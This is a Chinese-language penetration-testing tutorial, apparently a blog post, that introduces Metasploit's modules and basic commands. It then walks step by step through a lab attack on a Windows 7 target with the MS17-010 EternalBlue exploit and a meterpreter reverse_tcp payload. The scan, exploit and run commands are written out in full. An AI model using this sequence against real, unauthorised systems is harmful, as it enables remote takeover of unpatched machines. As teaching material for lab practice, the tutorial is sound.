Kali渗透测试:使用工具Metasploit攻击操作系统

Kali渗透测试:使用工具Metasploit攻击操作系统

如果在目标系统上发现了漏洞之后,接下来就是要利用漏洞渗透工具对目标系统进行攻击。Metasploit是目前非常优秀的一款漏洞渗透工具。

1.1 Metasploit基础

2003年左右,H.D Moore和Spoonm 创建了一个集成了多个漏洞渗透工具的框架。随后, 这个框架在2004年的Black Hat Briefings 会议上备受关注,Spoonm在大会的演讲中提到,Metasploit的使用非常简单,以至于你只需要找到一个目标,多次单击鼠标左键就可以完成渗透。Metasploit存在多个版本,有企业使用的商业版Metsploit Pro,适合个人使用的免费版Metasploit Community。

Kali Linux2 中默认安装了Metasploit Community,启动步骤是:在Kali Linux2中选择“08-Exploitation Tools”➡️“metasploit framework”即可启动Metasploit,如下图所示:

也可以在上图的快速启动栏中输入“msfconsole”启动Metasploit,或者直接在命令行输入msfconsole命令,成功启动以后的Metasploit界面如下图所示:

启动后的图案,每次可能都不相同,上图中显示了当前Metasploit的版本v6.0.45,其中包含了2134个exploits模块、1139个auxiliary模块、364个post模块、592个payload模块、45个encoder模块、10个nop模块。

常用的模块及其功能:

  • 漏洞渗透模块(exploit):很多人常常是发现了目标的漏洞之后,不知道接下来如何利用这个漏洞, 而漏洞渗透模块则解决了这个问题。每一个模块对应着一个漏洞, 发现了目标的漏洞之后,我们无须知道漏洞是如何产生的,只需知道漏洞的名字,然后执行对应的漏洞渗透模块,就可以实现对目标的入侵。
  • 攻击载荷模块(payload):这类模块可以帮我们在目标上完成远程控制操作。通常,这些模块既可以单独执行,也可也和漏洞渗透模块一起执行。
  • 辅助模块(auxiliary):这是进行信息收集的模块, 如进行信息侦查、网络扫描等。
  • 后渗透攻击模块(post):当我们成功取得目标系统的控制权之后,就是这类模块“大显神通”的时候,它可以帮助我们提供控制权限、获取敏感信息、实施跳板攻击等。

当然了,我们在使用一个命令式工具的时候,执行的第一条命令往往都是help:

msf6 > help		

这条命令执行完之后,Metasploit会将系统中提供的命令都显示出来,这些命令一共分成以下几种:

  • 核心命令(Core Command)
  • 模块命令(Module Command)
  • 任务命令(Job Command)
  • 资源脚本命令(Resource Script Command)
  • 数据库后台命令(Database Backend Command)
  • 登录凭证后台命令(Credentials Backend Command)

1.2 Metasploit的基本命令

关于模块的命令,这类命令使用最多的是show、search及use。首先使用show命令查看Metasploit中可以使用的模块:

msf6 > show

根据图中提示,需要参数,show命令后面的有效参数就是红框中的内容,还有额外指定的模块参数。如果要查看其中的某一个模块,如漏洞渗透模块,可以输入如下命令:

msf6 > show exploits

​ 表-1: 漏 洞 渗 透 模 块

NameDisclosure daterankdescription
exploit/windows/unicenter/cam_log_security2005-08-22greatCA CAM log_security() Stack Buffer Overflow (Win32)

漏洞渗透模块的列标题一共分为4个部分,分别是名称(Name)、披露日期(Disclosure date)、威胁等级(Rank)和威胁描述(Description)。

所有漏洞渗透测试模块的名称都采用三段式的标准,就是采用“针对的操作系统/针对的服务/模块的具体名称”的形式。如“ cam_log_security”模块命名模式如表:

​ 表-2:漏洞渗透模块的命名模式

针对的操作系统针对的服务模块的具体名称
windows/unicenter/cam_log_security

表-1中的第2列的披露日期指的是该漏洞发布的日期。Metasploit中漏洞渗透模块威胁等级分为excellent、great、good、normal、average、low、manual。这些等级按照执行效果从好到差来划分。如manual等级的定义就是该模块几乎不可能执行;low等级指的是该模块很难执行;normal等级指的是该模块可以执行,但是对目标有严格要求,excellent等级则表示该模块可以在绝大多数环境下正常执行。因此,我们选择漏洞渗透模块的时候,尽量选择good以上等级。

1.3 使用Metasploit对操作系统攻击

Microsoft推出的Windows操作系统在PC端还是非常普及的,2017年4月14日晚,黑客组织Shadow Brokers(影子经济人)公布了一大批网络攻击工具,其中就包含“永恒之蓝”工具,它利用Windows系统的SMB漏洞(MS17_010)可以获取系统最高权限,破坏力不言而喻。

实验环境

攻击机:Linux kali 5.10.0 IP : 192.168.68125

靶 机:Win7 IP : 192.168.68.159

步 骤

1. 启动Metasploit,加载检测脚本

确定目标系统是否存在MS17_010漏洞,输入如下命令:

msf6 > use auxiliary/scanner/smb/smb_ms17_010

使用smb_ms17_010对目标进行扫描,命令如下:

msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.68.159
rhosts => 192.168.68.159
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

结果如下图所示:

图中显示“Host is likely VULNERABLE to MS17-010!”,可以判断存在该漏洞。

2. 查找MS17_010漏洞渗透模块

输入如下命令:

msf6 auxiliary(scanner/smb/smb_ms17_010) > search ms17_010

查找到的MS17_010相关模块,如下图所示:

这里我们选择编号为0的exploit/windows/smb/ms17_010_eternalblue。这个模块可以成功的对64位的Windows7和Windows Server 2008进行渗透,其他系统可能会导致目标主机蓝屏或无效。

3. 启动MS17_010模块

在Metasploit中使用use加上模块名启动该模块,如下命令:

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

启动模块后,使用show options命令查看这个模块需要设置的参数:

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

命令执行后显示设置的参数如下图所示:

4. 参数RHOSTS 赋值

上图中箭头所指RHOSTS参数是指目标主机的IP地址,也就是靶机Win7的IP地址。使用set加上参数名称空格加上IP,命令如下:

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.68.159
RHOSTS => 192.168.68.159

至此,我们已经完成了ms17_010_eternal模块的全部设置。

5. 进行攻击,执行run

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

从上图中看到,攻击成功。接下来可以在目标主机上运行一些命令,如dir查看文件,可以对照靶机系统文件夹,如下图所示:

演示完毕,欢迎点赞,收藏和转发!

  • 9
    点赞
  • 66
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Bruce_Liuxiaowei

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值